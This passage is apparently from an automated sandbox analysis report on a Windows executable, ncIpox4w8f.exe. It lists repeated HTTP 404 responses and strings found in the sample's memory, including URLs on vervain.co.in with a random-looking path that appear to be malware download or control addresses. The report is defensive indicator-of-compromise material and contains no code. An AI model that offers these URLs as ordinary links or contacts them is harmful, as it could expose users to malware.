Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:09:24 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:09:25 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:09:27 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:09:28 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:09:29 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:09:31 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:09:32 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:09:33 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:09:34 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:09:36 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:09:39 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:09:40 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:09:42 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:09:43 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:09:44 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:09:45 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:09:46 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:09:47 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:09:48 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:09:49 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:09:51 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:09:52 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:09:53 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:09:54 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:09:55 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:09:56 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:09:57 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:09:58 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:10:00 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:10:01 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:10:02 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:10:03 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:10:04 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:10:05 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:10:06 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:10:08 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:10:09 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:10:10 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:10:11 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:10:12 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:10:13 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:10:14 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:10:15 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:10:16 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:10:17 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:10:18 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:10:20 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:10:20 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:10:22 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html

Source: ncIpox4w8f.exe, 00000000.00000002.515000717.00000000007F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: ncIpox4w8f.exe	String found in binary or memory: http://www.emerge.de
Source: ncIpox4w8f.exe, 00000000.00000003.348605602.000000000581A000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.374747011.0000000005726000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.267479672.0000000005250000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.248325276.0000000005350000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.304035366.0000000005614000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.350592323.0000000005833000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.293371459.000000000561C000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.501025618.000000000591C000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.400260793.0000000005904000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.445878505.0000000005921000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.334512087.000000000536E000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.261256374.000000000541C000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000002.546359558.00000000058FC000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.261407563.0000000005450000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.248105696.0000000005450000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.387645922.0000000005915000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.266085426.000000000542C000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.286385327.00000000053E8000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.391278569.0000000005914000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.260726768.00000000054E9000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.355852428.0000000005851000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.emerge.deDVarFileInfo$
Source: ncIpox4w8f.exe, ncIpox4w8f.exe, 00000000.00000003.267479672.0000000005250000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.240443204.00000000029B8000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000000.238770915.0000000000401000.00000020.00000001.01000000.00000003.sdmp, ncIpox4w8f.exe, 00000000.00000003.261407563.0000000005450000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.289638766.0000000004F68000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000002.528757099.0000000002AC0000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.293026511.0000000005550000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.251263320.0000000005388000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.292545915.0000000005344000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.316597179.000000000540C000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.326228795.000000000552E000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.297908164.0000000005536000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.258002144.0000000005450000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.388263630.000000000571D000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.338081452.000000000547E000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.337053722.0000000005478000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.324769245.0000000005528000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.245693873.0000000004940000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.280613950.0000000005258000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.333581477.0000000005518000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pregrad.net
Source: ncIpox4w8f.exe, 00000000.00000003.267479672.0000000005250000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.240443204.00000000029B8000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000000.238770915.0000000000401000.00000020.00000001.01000000.00000003.sdmp, ncIpox4w8f.exe, 00000000.00000003.261407563.0000000005450000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.289638766.0000000004F68000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000002.528757099.0000000002AC0000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.293026511.0000000005550000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.251263320.0000000005388000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.292545915.0000000005344000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.316597179.000000000540C000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.326228795.000000000552E000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.297908164.0000000005536000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.258002144.0000000005450000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.388263630.000000000571D000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.338081452.000000000547E000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.337053722.0000000005478000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.324769245.0000000005528000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.245693873.0000000004940000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.280613950.0000000005258000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.333581477.0000000005518000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.256226314.0000000005450000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pregrad.netopenU
Source: ncIpox4w8f.exe, 00000000.00000003.382209137.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.486329715.00000000007D9000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.348023678.000000000080F000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.440772986.00000000007D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vervain.co.in/
Source: ncIpox4w8f.exe, 00000000.00000003.477298168.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.426376750.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.495649105.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.419087530.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.443365066.00000000007FC000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.465386950.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.450720668.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.376712057.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.421607105.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.484095926.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.491013350.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.384591005.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.369971422.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.502989653.00000000007FC000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.481752910.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.347983893.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.453108202.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.416838008.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.431331290.00000000007FC000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.401276739.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.412105377.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vervain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvsk
Source: ncIpox4w8f.exe, 00000000.00000003.484095926.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.390766181.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vervain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvsk0.1
Source: ncIpox4w8f.exe, 00000000.00000003.495649105.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.419087530.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.443365066.00000000007FC000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.465386950.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.450720668.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.491013350.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.453108202.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.416838008.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.433704341.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.460364884.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.457798232.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.436106009.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.500416141.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vervain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvsk2
Source: ncIpox4w8f.exe, 00000000.00000003.477298168.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.495649105.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.448344033.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.450720668.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.484095926.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.491013350.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.481752910.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000002.515020113.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.500416141.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vervain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvsk24e
Source: ncIpox4w8f.exe, 00000000.00000003.426376750.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.419087530.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.443365066.00000000007FC000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.450720668.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.421607105.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.453108202.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.416838008.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.431331290.00000000007FC000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.412105377.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, 